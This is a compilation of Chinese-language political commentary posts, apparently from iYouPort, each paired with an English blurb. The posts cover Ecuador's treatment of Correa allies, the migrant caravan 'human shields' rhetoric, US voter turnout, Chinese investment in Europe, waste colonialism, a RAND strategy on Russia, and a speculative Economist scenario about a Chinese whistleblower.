Correa 政府的主要盟友遭遇了特别的针对性。事实上，成功管理该国十年的主要政治人物甚至无法注册一个政党—这是在即将举行的选举中的一项要求。

科雷亚的前副总统因对缺乏正当程序的担忧而被判入狱。他目前正在进行为期数周的绝食抗议。政府、而不是司法部门，最近提出了禁止科雷亚前政府所有成员离开该国的禁令。法治似乎太可有可无了。

所有这一切的真正目标当然是拉斐尔科雷亚本人。这位前总统面临着一连串的辱骂和指控，因为现任政府试图找到某种方式—任何方式—将他定为犯罪并阻止他重返前线政治。科雷亚在最近的一次采访中表示，最多有14项指控被提起。

最严重的也是最拙略的指控是称他“参与”绑架政治对手，但是没有任

何证据。对于这些指控完全没有证据，厄瓜多尔政府未能成功要求国际刑警组织采取逮捕令，将科雷亚从他现在居住的欧洲带回来，以回应这些指控。即使是控方的律师也在说："我觉得我们迫害 Correistas（Correa 的支持者）是因为他们是 Correistas，而不是他们的行为。"

然而，具体的指控并不重要。正如在巴西发生的事那样，这一战略旨在阻止候选人重新参与政治，或强迫他们离开该国，以此推翻十年的社会进步。正如科雷亚最近解释的那样，正在发生的是一波政治迫害。右翼知道，在公平的民主斗争中，它不会赢得对新自由主义回归的支持。

越来越清楚的是，巴西卢拉的案例不仅意味着成为推动该国倒退的典范，而且是整个大陆的恶劣典范。我们对拉丁美洲的支持必需不仅仅是为了捍卫社会进步，更多的是要捍卫民主本身。

The slow strangling of Ecuador's democracy: As Ecuador's government delivers for the elites, the space for democratic resistance is being restricted, writes DANIEL McAVOY. It is increasingly clear that the case of Lula in Brazil is not only meant to be a model to drive that country backwards but a model for the continent as a whole. Our solidarity with Latin America has to be about defending more than social progress but, tragically for a region with such a history of brutal dictatorship, about defending democracy itself.

原文

合法杀戮的前提是什么？ - iYouPort

地缘政治

“ 移民大篷车 ”正在向美国边境迈进—并且在此过程中面临了无数的障碍和反对。最近，当一大批移民抵达墨西哥边境城镇蒂华纳时，抗议活动爆发了。不出所料，唐纳德特朗普迅速加入了喧嚣，指责他们造成“在墨西哥的犯罪和重大问题”。

「图」

「图」

大篷车中的男女和儿童作为一个大团体旅行，因为在过去，逃离中美洲以躲避政治暴力或寻求更好生计的个人和小团体经常被人口贩运者和贩毒团伙绑架。一起旅行为他们提供了一定程度的保护。

特朗普长期以来一直在抨击移民。他首先将他们描述为“入侵者”，后来特朗普也承认，将这些移民描绘成恐怖分子的企图不存在任何证据，但是他通过宣布美军将对墨西哥边境的大篷车严阵以待来平息公众的追问。他最初宣布他将派遣多达 5,200 名士兵，后来他将这个数字增加到可能的 15,000 名士兵！

国务卿迈克尔庞培也加入了这个行列，警告美国人民，移民“将妇女和儿童放在这辆大篷车前面作为肉盾”。甚至国土安全部也来凑热闹。

有趣的是，这些捏造的指控并不是总统、国务卿和国土安全部发明的。这种恶毒的攻击在美国右翼茶党组织发布的 2014 年报告中就存在。

该报告称移民的流动是“美国南部边境涌入的攻势”，并补充说：“这种攻势是入侵，不是由部队领导，而是由向北进军的母亲、儿童和青年人领导的分裂行动”。

仔细看：使用这些军事词汇——“入侵”，“分裂”，“叛乱”，“冒

犯”和“人体盾牌”来描述这些移民，旨在为他们到达美国边境后将面临的粗暴对待方式奠定基础。

考虑一下“人肉盾牌”这个词。根据国际法，人肉盾牌是平民或战俘，无论他们是自愿这样做还是被迫这样做，法律规定他们不能“免受攻击”。因此，在袭击中死亡的“自愿盾牌”要对他们自己的死亡负责，因为他们将自己置于危害之中；同样，当非自愿的人肉盾牌死亡时，那些部署它们、而不是那些杀死它们的人，应该受到指责。在武装冲突中，当平民被国家军队用作盾牌时，他们就会失去或有可能失去国际法赋予他们的保护。

通过使用这种语言，Pompeo 和 DHS 可能会实现两件事。首先，他们将移民大篷车作为一个“自愿被部署为人体盾牌的敌人”—— 一个合法的军事行动目标，而不是一群无辜的和脆弱的人。其次，他们认为，如果这些移民“人肉盾牌”死亡，那些使用他们作为肉盾的人——而不是美国当局—— 必须对此负责。很棒，轻松地推卸了责任。杀戮合法化了。

庞培和国土安全部并不是唯一一个试图将移民定性为军事目标的人。匈牙利和捷克共和国也将移民儿童归为“人体盾牌”，声称他们的父母正在利用他们来促进移民队伍进入欧洲的努力。

值得注意的是，“人体盾牌”的概念攻击也几乎全部被投射到非白人移民身上，企图将他们描述为“野蛮”人，拒绝理解和尊重国际法的文明规范。

移民只是想通过努力为自己创造更好的生活，然而，他们被转变成了军事目标，成为了可以合法地受到伤害或被杀害的人。随着移民大篷车向北行进，妖魔化变得更加严重了，世界应该反思这一点，平民是国际法的一个支柱！它正在被侵蚀。

Migrant Caravan: Branding Migrants “Human Shields” Has a Deadly Motive. The use of military vocabulary—“invasion”, “divisions”, “insurgency”, “offensive” and “human shields”—to describe such migrants is, of course, calculated. It aims to prepare the ground for the way they will be treated once they reach the US border.

原文

合理的玩世不恭 - iYouPort

地缘政治

人们为什么要支持特朗普，而且很可能会再次支持他？民主党人必须承认自己的错误才能改变这一现状，为什么？

「图」

「图」

有一种新兴的观点认为，民主党在2020年获胜的方式是转移到中间并获得一些中间派选票。这是被新自由主义机构、主流媒体、以及大部分*付费政治专家*推动的观点。

但是，这里有两个问题。

首先，没有什么“中间”，或者更确切地说，它是微不足道的。太多的权威人士将无党派人士与中间派混为一谈了，事实上，绝大多数专家都倾向于这种误区。

如果你把左倾的无党派人士和民主党人加起来，他们相当于48%的选民，而右倾无党派人士和共和党人则占选民总数的39%。真正的“中间派”只占7%左右。

其次，选举政治中的真正奖项是没有表现。要知道为什么会这样，我们可以检查最近的两次选举。2016年，约有58%的合格选民参加了投票，特朗普获胜，这得益于选举团；而希拉里克林顿获得了大约28%的选民。来看看2016年的数字：

- 6580万人投票给克林顿;
- 有6290万人投票支持特朗普；
- 690万投票给第三党候选人;
- 9600万人没有投票。

美国有近2.31亿合格选民，但2016年选举中只有1.35亿选民投票。做一个简单的计算。一方面，你可以放弃你的价值观并“转移”到“中

间”，以赢得1600万真正的中间派中的一部分；另一方面，你可以坚持自己的价值观，并追踪 9600 万没有投票的人中的一部分。

2018年的选举是一个自1914年以来最大的投票率—— 50.1％—— 很大程度上是因为民主党人在宣传其进步的价值观，而且因为特朗普引起了某种恐惧和厌恶感。但是你想要赢就必须赢得49.9％的人参加。

如果你检查最近的选民投票率统计数据，有两件事情会变得清晰。民主党在投票率很高的时候获胜，共和党在投票率低的时候获胜。实际上，这些记录还显示了另一件事—— 共和党的胜利预示着创纪录的赤字和经济衰退。

因此，你会认为民主党领导层将采取一种专注于针对失约者的战略？但是你错了。为什么呢？

为了获得一些尚未投票的人的支持，你必须开展一个以人民利益为中心的运动，而不是利益集团的利益。

现实情况是，人们对民主党的态度是合理的玩世不恭—— 实际上对两党都是。Smith Project 揭示了人们玩世不恭的深度。例如：

- 百分之八十六的选民认为政治领导人更有兴趣保护自己的权力，而不是为美国人民做正确的选择。
- 83％的人认为，这个国家由现任政治家、媒体专家、游说者和其他利益集团联盟经营，以谋取利益。
- 此外，79％的人认为，华尔街银行对公司、工会和 PAC 有强大的兴趣以使用竞选活动和游说资金来操纵系统为自己的利益服务，并且他们以牺牲每个美国人为代价来掠夺国库。

如果你想了解特朗普在哪里得到的支持，Smith Project 的一个统计数据应该是显而易见的。大约77％的美国人喜欢“将政治精英和特殊利益”带到那些符合既定意识形态的候选人。特朗普的选民没有投票任何东西，他们投反对现状的票。

所有那些愤世嫉俗者都是对的。这是系统性问题。例如，在1980年至2015年期间，最高的.01％极富人群的收入增长了322％，而最低的90％的收入仅增长了0.03％。

而且不仅仅是经济。正如 Gilens 和 Paige 所表明的那样，在公共政策方面，人民的意志几乎无关紧要。实际上，他们得出的结论是，美国不再是一个民主国家，而是一个寡头集团，其中富人和特殊利益集团

的意志始终胜过人民的利益。

难怪人们愤世嫉俗。难怪“第二次世界大战”以来“失约者”赢得了每一次投票。

这种合理的玩世不恭的解药是一场以价值观而非战术为主题的运动。是的，特朗普很可恶。但是揭露他的糟糕程度并不会削弱他的支持者人数，也不会让失约者出现。而且即便赢得足够的7%中间派也不会获得胜利。

大多数美国人压倒性地支持进步政策，包括绿色新政、以及全民医保。但是，新自由主义者并没有采取明显的制胜战略，而是在对进步人士发达战争。

Nancy Pelosi 的工作人员向医疗保健和制药说客保证，全民医保是不可能的；Pelosi 则自己嘲笑绿色新政。美国进步中心—新自由主义的堡垒—出版了一系列关于全民医保和伯尼桑德斯的热门文章。

看起来就像 Pelosi，Schumer 等人正在把赌注押在揭示揭露特朗普有多糟糕上。试图获得他的纳税申报表，希望穆勒报告能够爆炸——以及全力以赴地获得神话般的中间派—— 似乎是他们2020年的战略。

而问题就在这里。特朗普的支持者并不关心他有多糟糕。他们只关心他正在攻击那些已经非常顽固的政治权力。

仅仅因为特朗普比一般政治家更糟糕，那些心怀不满的未投票者也不会出现在民意调查中。有太多原因了，两党不过是半斤八两的区别。

可能有一些新自由主义者实际上认为，走向“中间”是赢得胜利的方式，但是对大多数人来说，新自由主义制度并没有采取明显的战略来赢回白宫和参议院。保留众议院很简单。

他们是通过服务于富人、精英和大公司的利益来达成权力目的的。声称为人民服务的政策却将不利于他们选取的人排除出去。

这将意味着所有人将冒险经历特朗普的连任。从字面上看，这是一种存在主义的威胁。

Why the US Elected a Despot, and Why It’s Poised To Do It Again. Chasing the center and ignoring the real electoral prize. Eighty-six percent of all voters believe political leaders are more interested in

protecting their power than in doing what's right for the American people. To get some of the no-shows on board, you'd have to run a campaign centered on the people's interest, not the monied interests.

原文

哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？ - iYouPort

地缘政治

现有的数据低估了中国在欧洲野心的真实规模和范围; 这里是迄今为止中国在欧洲足迹最全面的审计报告

「图」

「图」

彭博社认为特朗普的贸易战正在进一步将欧洲推入北京的怀抱。关税令欧洲惊讶地发现，他们离美国越来越远了，然而同时向东看，另一个大国正在施展“魅力”。

欧洲许多前政治家开始选择与北京合作以解决这个问题，这是一个两难选择。但彭博社说，从总理们到欧洲委员们，这些决策者一旦离开办公室，即使面对对北京之意图的广泛保留意见，他们仍会选择依赖中国日益增长的所谓全球影响力。

德国和法国在欧盟层面上处于领先地位，得以加强对中国收购尖端技术和关键基础设施的防御。考虑到与共产党政府调情的风险，欧洲官员正在权衡与中国更紧密合作的经济利益，因为共产党政府很少关注欧盟的自由主义原则。

习近平政府似乎是意识到了这些疑虑，他们正在向欧盟伸出援手，承诺保护多边世界秩序并改善进入其庞大的国内市场的机会。简称利益诱惑。李克强将在本周末开始的欧洲之旅中引领“魅力攻势”。

本月在北京举行的欧盟—中国峰会上，特朗普的挑衅行为是否会让欧洲更容易趋向中国？

「图」

「图」

中国是如何在欧洲扩张的？

这不是一日之寒。十多年来，中国的政治和企业领导人一直在用手中看似无底洞一般的钱包来刷新全球。从亚洲到非洲，从美国到拉丁美洲，其结果已经难以忽视，中国已宣称自己是“新兴的世界大国”。其中鲜为人知的是，中国在欧洲已经不是扩散而是扩张的足迹。

彭博社对这些数据进行了研究，以编制迄今为止中国在欧洲足迹最全面的审计报告。数据表明，中国在过去 10 年中购买或投资了至少 3,180 亿美元的资产。对比显示，以美元计算，在同期中国的投资比美国高出 45%。

这些投资的数量和性质，从东欧和南欧的关键基础设施、到西部的高科技公司，整体上基本相当于在欧盟层面涂上了一片红旗。包括德国总理 Angela Merkel 和法国总统 Emmanuel Macron

在内的领导人正在敦促采取共同战略，处理中国在欧洲的不懈进攻，但遭到了欧盟外围的反对。

「图」

「图」

分析自 2008 年以来 30 个国家已完成或未完成的 678 项交易的数据发现，中国国有企业和私营企业在整个欧洲大陆的交易价值至少高达 2,550 亿美元。大约 360 家公司已被接管，从意大利轮胎制造商 Pirelli＆C. SpA 到爱尔兰飞机租赁公司 Avolon Holdings Ltd. 中国实体也部分或完全拥有了至少四个机场、六个海港、至少九个国家的风力发电场和十三支职业足球队。

必需强调的是，现有的数据低估了中国在欧洲野心的真实规模和范围。因为这些数据排除了 **355** 家兼并、投资和合资企业—本文所审查的主要交易类型—相关条款没有披露过。

根据其中十几个较高调的交易估测，总额为 133 亿美元。这还不包括：由美国企业研究所的研究人员和欧洲理事会对外关系委员会汇编的待开发项目或股票市场操作总计至少 400 亿美元、吉利董事长李书福持有的德国汽车巨头戴姆勒约 9.7% 股权，市值将近 90 亿美元。

中国在伦敦的购买热潮没那么明显，已经吞噬了伦敦金融城和金丝雀码头金融区的十几座办公大楼。

「图」

「图」

2016 年是迄今为止中国在欧洲进行交易的最大手笔年份，当时中国化工集团（又名ChemChina）宣布将以 463 亿美元收购瑞士农药制造商 Syngenta AG。即便不包括先正达大宗交易产生的大幅增长，依然能看出近年来一个明显上升的趋势，2014 年之前每年的相关投资少于 200 亿美元，但之后的每年都在飞速增长。

然而财务信息的平均交易规模似乎看起来在下降。在 2008 年和 2009 年，平均交易价值近 7.4 亿美元，而 2016 和 2017 年的交易额略高于 2.9 亿美元，今年迄今为止，平均交易为1.27 亿美元。

「图」

「图」

「图」

「图」

已知投资总额的一半以上集中在欧洲五大经济体：中国人仅在英国就参与了价值 700 亿美元的交易。但这只是中国制造大型基础设施的边缘，就如在 Piraeus 购买希腊最大的港口。涉及到欧洲对中国投资的开放时，也存在一个重要的核心—边缘差异。

在德国、法国和意大利推动欧盟范围内的投资甄别机制同时，希腊、葡萄牙和塞浦路斯政府则对此举持怀疑态度，称这将阻碍其国家吸引急需资本的能力。

无论是购买伦敦商业地产、德国技术公司如工业机器人制造商 Kuka AG、斯堪的纳维亚汽车制造商如 Volvo Personvagnar AB、还是像瑞士 Addax 石油公司这样的能源生产商，中国投资都集中在少数几个关键行业。

想要了解这些交易活动如何适合中国的官方和非官方外交政策目标，就要知道究竟是谁在执行这些购买活动。总的来说，自 2008 年以来，有超过 670 家中国的或有资格的香港实体已在欧洲投资（本次分析中不包括与中国大陆关系不密切的香港实体投资或购买的资产）。其中近 100 家是由中国国家支持的公司或投资基金，它们共同交易价值至少 1620亿 美元，占本次汇编的交易总价值的 63%。

然而国有企业与私营企业之间的界限在中国可比欧洲要模糊得多：中国远洋集团正在挑战欧洲在集装箱航运方面的统治地位，其由国有中国远洋运输集团公司的上市分支机构组成，已经购买了从博斯普鲁斯海峡到波罗的海港口的股份或运营权。目

前可确定的 10 家最大的收购者中有 8 家是国有的或有政府靠山的，包括中国投资公司（主权财富基金）、中国铝业股份有限公司和丝绸之路基金公司（一家与中国“一带一路”倡议相关的主权财富基金）。

另有30个以上的实体目前由中国的省或直辖市拥有。

「图」

「图」

如果不考虑另外两种交易类型，对中国在欧洲的经济利益状况就无法完整了解：在公开市场大量购买股票，如中国平安保险集团股份有限公司持有的汇丰控股有限公司100 亿美元股权；新开发项目，或以前未开发或未充分利用土地的建设项目。

彭博社对美国企业研究所中国专家 Derek Scissors 的数据分析以及欧洲委员会对外关系委员会（ECFR）的研究发现，至少有 9 个大型绿地项目，主要在伦敦地区。例外情况是：中国房地产开发商大连万达集团公司与法国超市连锁公司欧尚控股公司一起追寻的价值 240 亿美元 Hinkley Point C核电站（其中中国资金占比三分之一）以及巴黎超过 34 亿美元的大型购物中心。

基于彭博数据和报告以及最近的 ECFR 报告，中国企业已表示有兴趣参与欧洲尚未正式宣布的一系列交易。其中包括在罗马尼亚和保加利亚建设核反应堆，购买克罗地亚集装箱码头和建设瑞典港口，接管捷克汽车制造商斯柯达运输公司和一家总部位于爱尔兰的石油和天然气生产商，投资法国滑雪缆车公司 Compagnie des Alpes 和一家德国电网运营商，为克罗地亚的一座桥梁和布达佩斯—贝尔格莱德铁路线提供融资。

原文

塑料如何成为殖民主义的一个功能 - iYouPort

地缘政治

殖民主义指的是一种统治制度，允许殖民者进入土地以获得殖民者想要的目标。

这并不总是意味着吊桶打水那样直接，它还可以意味着获得以土地为基础的文化设计和文化上适合时尚的符号，以及意味着进入土著土地进行科学研究。

还可能意味着将土地用作资源，可能通过管道、垃圾填埋场和回收厂产生污染。

「图」

「图」

现代包装杂志的编辑 Lloyd Stouffer 在1956年就宣称“塑料的未来在垃圾桶里”。那个时候塑料行业对一次性用品的投入才刚刚起步，如今它已经是全球生产的最大一类塑料产品。

实现这种处理方法需要假设能获得土地。假设将家庭垃圾收集起来并运往垃圾填埋场或回收工厂，使塑料一次性用品“消失”。如果没有这种基础设施和土地，就没有可处置性。

事实上土地是“有的”……许多其他地方的土地都被用于了垃圾填埋场的建设。它们在远北、东南亚和西非，以及许多其他地方。其中大部分这类地方远离富裕地区（富裕地区制造了最多这类垃圾）。事实上，“废物殖民主义”一词是1989年在联合国环境规划署巴塞尔公约中创造出来的，当时几个非洲国家对富裕国家的危险废物处置进入其领土表示关切。

中国已成为世界上近一半塑料垃圾的目的地，但这一状况已经结束于2018年1月，当时中国禁止进口废弃塑料和其他垃圾，这将使估计有1.11亿吨塑料废物流离失所。目前估计，下一轮废弃物殖民将进入东南亚。

也许您听说过负责大多数海洋塑料的前五大国家是中国、印度尼西亚、菲律宾、越南和斯里兰卡。其中一些国家也是从其他地区获得不成比例的塑料废物的国家。它们也恰好是废物处理系统不能模仿美国路边填埋系统的地方。

这些地区在科学文章、媒体和政策文件中被定义为“对废弃物管理不当”。这是殖民主义思想的长期存在，这些话语长期以来将土地的某些用途视为文明和道德，并将其他用途视为野蛮和缺德。正如科尔哈里斯在他的著作“Making Native Space: Colonialism, Resistance, and Reserves in British Columbia”中所写到的，从历史上看，当地人民被指没有“正确地”使用土地时，殖民者就会把土地拿走并“更好地”使用它。

全球焚化炉替代方案联盟（GAIA）的菲律宾分支机构拒绝了海洋保护协会关于焚烧的建议，这是一个基层环境正义联盟。他们反对燃烧废物因其对健康和环境的影响，特别是在那些与空气污染作斗争的国家。在 69% 的现有焚烧炉有违规记录的情况下，抵制垃圾焚烧发起的抗议活动日益增多。他们谈到了建设和维护这种基础设施的成本以及对外国机构的债务意味着什么。他们写了很多文章分析焚烧垃圾如何影响气候变化。简而言之，他们反对整个系统。GAIA 已经帮助成功封锁了一些焚化炉，例如计划在南非惠灵顿投建的焚烧炉，并继续在其他地方战斗。

How Plastic Is a Function of Colonialism: Disposable plastics are simply not possible without colonizer access to land. The end of colonialism will result in the end of plastic disposability.

原文

如何摧毁俄罗斯？ - iYouPort

地缘政治

这个才是新冷战，对中国的目前为止还不是

「图」

「图」

兰德公司机密报告的结论最近在“Brief”中被公布。

这份机密报告解释了如何对俄罗斯发动新的冷战。显然，其中某些建议已经开始实施，但是这份系统性的曝光可以帮助人们更容易理解真正的目标和整体局势。

“迫使对手不顾一切地扩张以使他失去平衡，然后摧毁他。”

这不是对柔道技巧的描述，而是兰德公司制定的针对俄罗斯的计划。兰德公司是美国最有影响力的智囊团。

兰德拥有数千名专家，是世界上最可靠的情报和政治分析来源，对于美国及其盟国领导人来说。

兰德公司自豪于通过迫使苏联在战略对抗中消耗自己的经济资源，制定了使美国赢得冷战的长期战略。

这个模型正是兰德出版的新计划“*Overextending and Unbalancing Russia*”的灵感来源。

「图」

「图」

据他们的分析人士称，俄罗斯“仍然是”美国在某些基本领域的强大对手。

为了应对这种对立，美国及其盟国将不得不采取一项利用俄罗斯脆弱性的联合长期战略。

因此，兰德分析了各种平衡俄罗斯的手段，并指出了每一种手段成功的可能性、利益、成本以及对美国的风险。

兰德分析师估计，俄罗斯最大的脆弱性是其经济，因为它严重依赖石油和天然气出口。

通过加强制裁和增加美国的能源出口，可以减少俄罗斯这些出口的收入。

其目标是迫使欧洲减少对俄罗斯天然气的进口，并用来自其他国家的海运液化天然气取而代之。

从长远来看，另一种破坏俄罗斯经济稳定的方法是鼓励“合格人员”，特别是受过高等教育的年轻俄罗斯人移民。

研究指出，在意识形态和信息部门，有必要鼓励内部争议，同时破坏俄罗斯在外部的形象，将其排除在国际论坛之外，抵制其组织的国际体育赛事。

在地缘政治领域，武装乌克兰将使美国能够利用俄罗斯外部脆弱性的中心点，但必须仔细计算这一点，以便让俄罗斯承受压力而不会陷入重大冲突，这样才能获得胜利。

在军事部门，通过增加从事反俄职能的北约国家地面部队人数，美国可以享受低成本和低风险的高收益。

「图」

「图」

研究认为，美国可以享有很高的成功概率和高效益，风险适中，特别是主要投资于针对俄罗斯的战略轰炸机和远程攻击导弹。

退出中导条约并在欧洲部署新的中程核导弹指向俄罗斯将具有很高的成功概率，但也会带来高风险。

通过校准每个选项以获得预期的效果 —— 兰德分析师得出结论 —— 俄罗斯最终会在对抗中付出最大的代价，但美国也将不得不投入大量资源，因此不再可用于其他目标。

这也预示着美国/北约军费开支将大幅增加，不利于社会预算……

这是兰德公司规划的未来。兰德公司是最有影响力的智库，换句话说，是由经济、金融和军事寡头统治的地下实体中心 —— 这决定了以上战略选择不仅是美国的，还有整个西方世界。

对比LAND去年此时公开的一份报告（简版如下图）似乎反差非常大。

「图」

「图」

注：这是关于局势的。新冷战的确存在，但并非针对中国。美国军方鹰派认为中国和俄罗斯的关系看起来“越来越紧密”，这会发生什么？（见下图，这是去年8月的消息）不过，我们得知的消息是，中国国社在避免谈论中俄关系，因为“难以把握方向”。

「图」

「图」

俄罗斯的反对派行动力非常强，值得学习，附我们曾经介绍给的内容：

- 抗议不是终极目标，目标应该是赢；但更重要的是，如何在暂时没有赢的情况下保存斗志不被削弱，这需要一些自信、乐观、和智慧《“在一个完美的世界里，我们是不会存在的“：俄罗斯海盗党和社运心电图》
- 尽管遭到严重打压，俄罗斯的政治和事实上的民间反对力量比西方所赞赏的要强得多，也更积极《俄罗斯变革的希望将来自基层》
- 《为什么是俄罗斯封锁 Telegram 引发连日刷屏而不是中国的大面积封锁和监控？》

在这里阅读/下载原文报告

原文

如果中国制定了规则……习近平的世界秩序：2024 年 7 月 - iYouPort

地缘政治

这个故事所暗示的主题依旧是人们所熟悉的对“美国缺位”的愤怒和哀叹，然而它使用了一个非常巧妙的叙述方式，并由此“不小心”带入了更多显而易见却一直被很多人所回避的问题。经济学人没有深入谈论的那些事，我们非常关心。

当帝国确立，Edward Snowden 和 Julian Assange 等诸多说出真话的人所面对的危险和协迫，正是这个故事中描述的中国软件工程师 Fu Xuedong 的遭遇。我们明白作为英国媒体，经济学人采取如下切入角度是“安全的”，但也因此尤其令我们感到焦虑，因为它恰恰证明了帝国的势力已经造成了触手可及的灾难。

我们需要一个民主的世界，用大多数人的道德共识谴责和修正那些违背这一规则的人。规则不该有哪个单一的国家决定，中国不能，美国也不能，然而中美的霸主之争已经从互联网世界进入了现实政治—高堡奇人的启示。我们认为经济学人文章已经暗示了这点，这就是为什么我们要翻译它，尽管它没能充分明确我们期待的结论。

注：故事中暗示的“要求企业在电子产品中添加后门”是美国的做法，“没有赢家”在暗示美国及其盟友采取地缘政治立场诠释斯诺登是错误的思路。故事中对中国私设仲裁法庭、英国脱欧后抛弃欧洲并屈从北京、被单方面操控的国际刑警组织等讽刺，都非常鲜明。而大使馆断网正是目前 Julian 在厄瓜多尔伦敦使馆的遭遇……

「图」

「图」

新闻报道称他为“中国的爱德华斯诺登”；他的全球粉丝称他为“傅兄弟”—这个标签现在正不断出现在 T恤和政治 meme 中。据说这两个标签都“委屈了“这位在加拿大接受过教育的软件工程师 Fu Xuedong，他对中国网络间谍行为的指控在 2024 年的夏天震惊了全

球。

在特朗普第二任期的最后一年，傅先生因为指控中国的情报部门与美国的科技公司合作而引发了一片混乱，这一史无前例的监视计划已经将美国、欧洲和亚洲的数百万辆汽车变成了远程的间谍设备，让北京可以实时跟踪车辆、通过面部识别技术识别乘客，甚至窃听他们。

中国否认这些指控，如果得以确认，这将构成历史上规模最大的间谍活动。然而，由于傅先生被指称为“幻想家”和“史无前例的骗子”，其反应出的愤怒令人不安。

他是深圳一家创新实验室的网络安全专家，他已经出逃五个星期—他过去四年来曾在伊斯坦布尔的美国领事馆躲藏，外交官和政治家们对他的命运争论不休，到目前为止，傅先生的传奇是一个没有赢家，但有一大堆输家的故事—包括一些世界上最大的公司和政府，这些公司和政府在中国第一个愤怒的暗示中就屈服了。

但最重要的输家可能是一个抽象的原则：即基于国际规则的秩序概念，其中可预测的、透明的法律原则甚至可以约束最强大的国家。Fu Xuedong 的考验—一个看上去因突然被恶名而感到震惊的、柔弱的、言语温和的人—生动地揭示了中国对法治的承诺在多大程度上是有条件的。正如一位资深外交官所讽刺的那样：“中国想要的是真正模糊的规则，以及全部解释权。”

被傅先生的举报所损伤的第一批是美国、欧洲和日本的汽车制造商，股价暴跌。Fu 发布了一段 YouTube 视频，描述了他如何偶然发现一个似乎已建立在数百万辆先进的半自动驾驶汽车系统上的秘密后门。它允许收集并通过加密通道发送这些数据，并在另一个方向上还携带诸如交通警报、导航建议和车辆软件更新等信息。

今天近四分之三的高科技汽车使用中国设计的 5G 移动芯片进行这些数据传输，此前外国汽车制造商向中国施加压力，采用其技术被作为交易的一部分，以便更多地进入中国汽车市场。

网络间谍丑闻也损害了不止一个外国政府的声誉。从中国逃到土耳其后，出生在香港的傅先生携带英国签发的旅行证件，最初在英国领事馆寻求庇护，逃避了据称埋伏在伊斯坦布尔机场的中国特工。但在候车室待了几个小时后，傅先生被英国外交官要求离开，他们引用了加拿大和中国的双重国籍这一线索，并敦促他向这些国家领事馆寻求帮助。

英国政府否认佛罗里达州参议员 Marco Rubio 对共和党人提出的强烈反对意见，这一决定是与伦敦成为中国企业法律和金融中心的野心相关的“狡猾的投降”。具体而言，Rubio 先生指责伦敦在英国退欧后失去了纽约和法兰克福的地位，为全球基础设施中心提供新的标准制定论坛和风险投资中心是完全无望的。

GIC 是一个位于北京的信息交换中心，用于与过去被称为“一带一路”的项目相关联，这是中国雄心勃勃的项目，旨在通过新的铁路、港口、道路和数据线连接欧洲、非洲和中东。

除了实体联系外，习近平还通过 GIC 促进了包括中国标准和治理规范在内的有形债券。至关重要的是，它决定哪些计划有资格获得数十亿美元的中国贷款和赠款，并选择外国公司作为合作伙伴使用共产党规划者设计的不透明规则。伦敦希望自己成为 GIC 首选的全球资本市场门户，为英国银行家、律师和顾问带来利益。

傅先生甚至没机会去加拿大领事馆，外交官通过电话通知他，他们需要更多时间来研究全球警察机构国际刑警组织应中国当局要求发出的紧急“红色通缉令”。该通缉令没有法律约束力，要求所有 192 个国际刑警组织成员国以“涉嫌从事间谍活动、盗窃和破坏国家安全”为由抓捕傅先生。加拿大反对派政客指责总理 Doug Ford 牺牲了傅先生，以争取一项有争议的协议，将加拿大的北极水域开放给中国的油轮和其他航运。

在美国领事馆获得避难后，傅先生最初通过 Skype 接受了一系列媒体采访。但第二天，领事馆的互联网接入就受到了严格限制。美国外交官表示，根据此前与中国签订的秘密双边安全协议条款，土耳其在领事馆周围建立了中国版的防火墙，表面上是为了遏制维吾尔族的伊斯兰武装分子，维吾尔族是一个讲突厥语的少数民族，来自中国动荡不安的西部地区新疆。

所有这一切都让美国成为傅先生的超级大国保护者。白宫新闻秘书 Laura Ingraham 一再敦促土耳其允许这位工程师不受干扰地离开该国，称中国对他提起刑事指控是“假新闻”。在国会，众议院和参议院情报委员会已经发出传票，要求傅先生尽快在华盛顿特区提供证据。Rubio 先生已提出亲自从伊斯坦布尔接回傅先生。但令人遗憾的是，对于软件工程师来说，特朗普的美国是一个分散注意力的超级大国，它已经破坏了以规则为基础的秩序。因此，它对中国无视长期规则和规范的批评现在已经变得空洞。

特朗普先生的顾问们在他上任时仍然存在分歧。经济民族主义者希望

他利用所谓的301条款来惩罚中国，迫使汽车制造商安装“通过同一个后门窃取美国机密信息和工作”的技术，正如特朗普的国家经济安全顾问 Lou Dobbs 所说的那样。一个不同寻常的联盟，包括福特和通用汽车的老板、欧盟以及日本、德国、英国和法国的政府，希望特朗普将中国带到世界贸易组织中。但美国通过与朋友和敌人进行贸易斗争，以及拒绝任命法官到其上诉机构，为中国建立自己的竞争机制开辟了道路，嘲弄了世界贸易组织。

> *America’s disdain for the rules-based order means its criticism of China now rings hollow*

最初为审理与“一带一路”倡议相关的纠纷而设立的一个不起眼的中国本土仲裁小组于 2022 年更名为“全球基础设施法庭”。在第一批案例中，这个奇怪的贸易法庭提供了一个中国主导的商业规则如何运作的瞥见。与WTO不同，它没有区分具有国家指导型经济和市场经济的国家。其法官声称对支持国家发展的补贴采取良性观点。虽然他们谈论了一个关于知识产权保护的问题，但他们一直认为是主权政府而不是个人企业应该在专利纠纷中拥有最终决定权。

在总统于 2018 年退出伊朗核协议后，特朗普政府与其盟国进行的另一场斗争阻碍了西方试图对这种中国人的招摇所采取的联合挑战。当美国财政部官员试图惩罚使用美元购买和出售伊朗货物（尤其是石油）的公司和银行时，中国创建了一个替代系统，用于支付中国人民币、欧元和俄罗斯卢布的国际支付，面向构成“一带一路”倡议支柱的欧亚国家。

这一新系统受到中国技术和加密标准的推动，削弱了美元在国际业务中的主导地位，并构成了对比利时 SWIFT 财团长期享有的跨境银行业务的控制。俄罗斯利用这一新系统创建了不受美元制裁影响的银行，客户称其中包括伊朗、叙利亚、苏丹和朝鲜政府。

由于财政部官员发现实施金融制裁更加困难，美国海军指挥官正在努力收紧对中国的套索。从理论上讲，中国与其亚洲邻国在南中国海有争议的岛屿上仍然存在争执。但中国扩大和加强这些珊瑚礁的努力与其外交胜利交相辉映了。它迫使邻国宣布南海大部分地区禁止涉及外部势力的军事演习，在与这些有争议的水域接壤的国家之间使用冠冕堂皇的“行为准则”。

像新加坡这样的一些国家拒绝被规则绑定。其他国家，如菲律宾和越南，正在获得由中国控制的石油和天然气的份额，并且立场摇摆不定。对于其亚洲邻国而言，藐视中国并帮助美国治理公海的政治和经

济的成本正在上升。

总而言之，如果傅先生感到茫然无知，完全不足为奇。他告诉记者，在得出结论认为自动驾驶汽车被中国间谍变成全球监视网络后，他决定冒着职业生涯危机甚至是自由的风险揭发出来。

